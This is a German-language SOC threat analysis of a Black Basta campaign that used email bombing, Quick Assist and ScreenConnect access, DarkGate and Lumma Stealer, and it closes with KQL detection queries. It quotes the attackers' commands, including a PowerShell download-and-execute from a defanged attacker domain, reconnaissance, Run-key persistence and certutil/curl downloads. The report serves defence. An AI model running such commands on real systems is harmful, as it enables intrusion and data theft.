CyberSOC Insights: Analyse einer Black Basta Angriffskampagne

2. Zusammenfassung der Angriffskampagne

Die ersten beobachteten Aktivitäten der Angriffe umfassten eine hohe Menge an Spam-E-Mails, die gezielt gegen einzelne Nutzer gerichtet waren. Der Zeitraum zwischen dem Beginn des E-Mail-Bombings und der Kontaktaufnahme durch die Angreifer variierte von wenigen Stunden bis zu mehreren Tagen.

In einem Vorfall hatten die Angreifer etwa zwei Stunden nach dem Start des E-Mail-Bombings Zugriff erlangt und ihre Malware-Payloads auf das Zielsystem gebracht. Der initiale Zugriff erfolgte über das Remote Monitoring & Management (RMM) Tool Quick Assist, welches später auf ScreenConnect gewechselt wurde. Das ScreenConnect-Setup wurde zusammen mit der Malware in einem ZIP-Archiv bereitgestellt. In anderen Vorfällen nutzten die Angreifer auch das RMM-Tool AnyDesk.

Neben dem ScreenConnect-Setup enthielt das Archiv fünf weitere Dateien: einen DarkGate-Dropper, ein Lumma Stealer-Payload, eine weitere Executable, um die Zugangsdaten des Opfers zu extrahieren, eine Textdatei mit einem PowerShell-Befehl sowie eine weitere Textdatei, die die drei Malware-Payloads auflistete. Nachdem das Archiv auf dem Zielsystem abgelegt wurde, versuchten die Angreifer, die Tools und Malware-Payloads auszuführen. Da das von uns hier eingesetzte Endpoint Detection & Response (EDR) Tool Microsoft Defender verschiedene Ausführungsversuche blockierte, unternahmen die Angreifer mehrere Versuche dies zu umgehen. Dazu zählte unter anderem die erneute Bereitstellung der DarkGate-Malware über die ScreenConnect-Session sowie mehrere Versuche, Level RMM herunterzuladen. Die Download-Versuche erfolgten mittels PowerShell, curl und certutil.

Unsere Analysten konnten diesen und ähnliche Angriffe mit Microsoft Defender und Palo Alto Cortex XDR identifizieren und verhindern, bevor die Angreifer mit der nächsten Angriffsphase, dem Lateral Movement, beginnen konnten.

3. Technische Analyse

3.1 Verlauf des Angriffs

3.1.1 Initial Access

Die Angreifer begannen ihr E-Mail-Bombing gegen den Nutzer am Morgen mit einem Spitzenwert von rund 200 E-Mails innerhalb von 30 Minuten.

Ähnlich wie bei der von Microsoft beschriebenen Vorgehensweise kontaktierten die Angreifer den Benutzer und richteten eine Quick Assist-Verbindung ein. Während der Analyse kann diese durch Prozessausführungen von "QuickAssist.exe" sowie mehrere Instanzen von "msedgewebview2.exe" nachvollzogen werden.

cmd.exe /c wmic ComputerSystem get domain > C:\ProgramData\ghadheh\hdddcbf

  Software\Microsoft\Windows\CurrentVersion\Run\adacfhb

  “C:\ProgramData\ghadheh\Autoit3.exe" C:\ProgramData\ghadheh\fdbdbgc.a3x

  systeminfo   
  whoami   
  net user <username> /domain   
  ipconfig   
  ping -n 1 <Domain Controller>

  powershell.exe -Command Invoke-Expression (Invoke-RestMethod -Uri   
  hxxp://todayput[.]shop:8080/rkypqqyb)

       rundll32.exe SystemStream.dll,NewRegEx

  $env:LEVEL_API_KEY = <API Key>; Set-ExecutionPolicy RemoteSigned -Scope  
  Process -Force;      
  [Net.ServicePointManager]::SecurityProtocol =      
  [Net.SecurityProtocolType]::Tls12; $tempFile = Join-      
  Path ([System.IO.Path]::GetTempPath()) "install_windows.exe"; Invoke-     
  WebRequest -Uri      
  "hxxps://downloads[.]level[.]io/install_windows[.]exe" -OutFile      
  $tempFile; & $tempFile

  runas  /user:administrator powershell $env:LEVEL_API_KEY = <API Key>;    
  Set-ExecutionPolicy RemoteSigned -Scope Process -Force;      
  [Net.ServicePointManager]::SecurityProtocol =      
  [Net.SecurityProtocolType]::Tls12; $tempFile = Join-Path      
  ([System.IO.Path]::GetTempPath()) "install_windows.exe"; Invoke-     
  WebRequest -Uri "hxxps://downloads[.]level[.]io/install_windows.exe" -     
  OutFile $tempFile;

  curl  -o C:\Windows\TEMP\install_windows.exe   
  hxxps://downloads[.]level[.]io/install_windows.exe

  'C:\Windows\System32\certutil.exe certutil -urlcache -split -f   
  hxxps://downloads[.]level[.]io/install_windows.exe   
  C:\Windows\TEMP\install_windows.exe'

4. Erkennung und Maßnahmen

Um sich gegen diese Art von Angriffen zu verteidigen, müssen Unternehmen einen mehrstufigen Sicherheitsansatz implementieren, der gut konfigurierte Sicherheitstools, strenge Softwarerichtlinien und ein 24x7-Team zur Erkennung von Bedrohungen kombiniert, das das Netzwerk kontinuierlich überwacht und in der Lage ist, in Echtzeit auf Warnungen zu reagieren.​​​​​​

4.1 Erkennung der Angriffskampagne

Um diese Angriffe zu erkennen, müssen Unternehmen eine kontinuierliche Überwachung ihrer M365-Infrastruktur, Hosts und Benutzer sicherstellen. Die Defender Suite von Microsoft bietet nicht nur integrierte Warnungen zu aktuellen Bedrohungen, sondern auch verschiedene Logs, die von SOC-Teams verwendet werden können, um benutzerdefinierte Erkennungsregeln zu implementieren. 

Mit Defender for Endpoint, Defender for Office 365, Defender for Identity und Defender for Cloud Apps haben Sie die Möglichkeit, laufende Angriffe in verschiedenen Phasen der Cyber Kill Chain zu erkennen. Die folgenden KQL-Abfragen könnten verwendet werden, um das anfängliche E-Mail-Bombing, den Social-Engineering-Angriff über Teams, die Keylogging-Aktivitäten der DarkGate-Malware und die Codeausführung über ScreenConnect zu erkennen. 

Email Bombing

 let threshold = 200;   
 EmailEvents   
 | where ThreatTypes has_any ("spam", "phish")   
 | summarize count() by RecipientEmailAddress, bin(Timestamp, 1d)   
 | where count_ > threshold   
 | render timechart

 let suspiciousUpns = DeviceProcessEvents   
 | where DeviceId == "alertedMachine"   
 | where isnotempty(InitiatingProcessAccountUpn)   
 | project InitiatingProcessAccountUpn;   CloudAppEvents   
 | where Application == "Microsoft Teams"   
 | where ActionType == "ChatCreated"   
 | where isempty(AccountObjectId)   
 | where RawEventData.ParticipantInfo.HasForeignTenantUsers == true   
 | where RawEventData.CommunicationType == "OneonOne"   
 | where RawEventData.ParticipantInfo.HasGuestUsers == false   
 | where RawEventData.ParticipantInfo.HasOtherGuestUsers == false   
 | where RawEventData.Members[0].DisplayName in ("Microsoft  Security", 
 "Help Desk", "Help Desk Team",   "Help Desk IT", "Microsoft Security",   
 "office")   
 | where AccountId has "@"   
 | extend TargetUPN = tolower(tostring(RawEventData.Members[1].UPN))   
 | where TargetUPN in (suspiciousUpns)

 let threshold = 500;   
 DeviceEvents   
 | where ActionType == "GetAsyncKeyStateApiCall"   
 | summarize count() by DeviceName, InitiatingProcessFileName,   
 bin(Timestamp, 1h)   
 | where count_ > threshold

 DeviceProcessEvents   
 | where InitiatingProcessParentFileName ==   
 "ScreenConnect.ClientService.exe" and   InitiatingProcessFileName == "cmd.exe" and InitiatingProcessCommandLine   
 endswith ".cmd\""   
 | summarize make_set(ProcessCommandLine) by DeviceName